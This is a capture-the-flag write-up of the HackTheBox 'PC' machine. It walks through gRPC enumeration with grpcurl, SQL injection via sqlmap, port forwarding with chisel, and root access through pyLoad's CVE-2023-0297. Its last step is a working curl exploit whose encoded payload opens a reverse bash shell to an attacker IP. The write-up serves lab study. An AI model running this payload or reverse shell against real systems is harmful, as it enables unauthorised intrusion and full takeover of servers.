# HackTheBox - PC
## NMAP
```bash

## PORT 50051
Connecting to this port through `telnet` or `netcat`, doesn't yield anything but `???`

So resarching what runs on port 50051 shows that, gRPC uses this port which is an open source remote procedure call framework by google
<img src="https://i.imgur.com/o3nfU5j.png"/>
We can analyze the traffic through `wireshark` by sniffing packets on our interface (tun0) and changing protocol to HTTP/2
<img src="https://i.imgur.com/JBQgkal.png"/>
gRPC can be enumerated through `grpcurl`
```bash
grpcurl -plaintext 10.129.19.240:50051 list
```
<img src="https://i.imgur.com/AdXPsBb.png"/>
This listed two services, let's try listing the methods in `SimpleApp`
<img src="https://i.imgur.com/GSXeb8S.png"/>
SimpleApp service has three methods which can be checked with `describe` arguement
<img src="https://i.imgur.com/EEpsahj.png"/>
We can register and login with an account which in return provides an id
```bash
grpcurl -plaintext -d '{"username":"arz101" , "password":"12345"}' 10.129.19.240:50051 SimpleApp/RegisterUser
grpcurl -plaintext -d '{"username":"arz101" , "password":"12345"}' 10.129.19.240:50051 SimpleApp/LoginUser
```
<img src="https://i.imgur.com/GDvCLBK.png"/>
Now using `getInfo` will ask for a token
<img src="https://i.imgur.com/ROsqUow.png"/>
## Foothold
If we go back to login method, we do use a token if we enable verbosity with `-vv`
<img src="https://i.imgur.com/HiQulEp.png"/>
```bash
grpcurl -vv -plaintext -H "token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYXJ6MTAxIiwiZXhwIjoxNjg0NjkzODY1fQ.CMWWeEN92nUfwMh8_AUGBPjHsIC7oIRTVDBZEy2qDS8" 10.129.19.240:50051 SimpleApp/getInfo
```
<img src="https://i.imgur.com/jmZ4eNA.png"/>
This gives us an error `Unexpected <class 'TypeError'>: bad argument type for built-in operation` due to we haven't specified the data, if we use `describe` to see what parameters the method accepts
<img src="https://i.imgur.com/LypYf33.png"/>
It needs the ID which we get after logging in
```bash
grpcurl -vv -plaintext -H "token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYXJ6MTAxIiwiZXhwIjoxNjg0NjkzODY1fQ.CMWWeEN92nUfwMh8_AUGBPjHsIC7oIRTVDBZEy2qDS8" -d '{"id": "842"}' 10.129.19.240:50051 SimpleApp/getInfo
```
<img src="https://i.imgur.com/k8qDJqW.png"/>
But tampering/playing around with this was a little difficult, so I tried postman and grpcui which gives you GUI with which you can work with gRPC service and also intercept the requests easily
<img src="https://i.imgur.com/eksI8QX.png"/>

After identifiying that it was using some filters for sqli, we can try running `sqlmap` which found injection on `id` parameter
<img src="https://i.imgur.com/ZyxW1y5.png"/>
<img src="https://i.imgur.com/Tc2hAjK.png"/>
With these credentials, we can login as `sau` user
<img src="https://i.imgur.com/2R02n7N.png"/>
Having enumerated the SUIDs, the files which are owned sau none of them yield any path to escalation, checking the local ports, there was port 8000 open which redirects to a login page
<img src="https://i.imgur.com/bJep6gx.png"/>
<img src="https://i.imgur.com/oh5YJff.png"/>
Port forwarding with `chisel`
```bash
chisel server -p 3333 --reverse
chisel client 10.10.16.19:3333 R:localhost:8000
```
<img src="https://i.imgur.com/73nLYMT.png"/>
Now accessing the port on our browser we'll get a login page for pyLoad which is a download manager for python
<img src="https://i.imgur.com/GgFEXZF.png"/>
Trying the default creds like `admin:admin` and `pyload:pyload` didn't work, so searching for CVEs there was a pre-auth rce vulnerability (CVE-2023-0297)
<img src="https://i.imgur.com/SdNEqLy.png"/>
Using the poc we'll get a shell as the root user
```bash
curl -i -s -k -X $'POST' \
--data-binary $'jk=pyimport%20os;os.system(\"%2Fbin%2Fbash%20%2Dc%20%27bash%20%2Di%20%3E%26%20%2Fdev%2Ftcp%2F10%2E10%2E16%2E19%2F2222%200%3E%261%27\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \
$'http://localhost:8000/flash/addcrypted2'
```
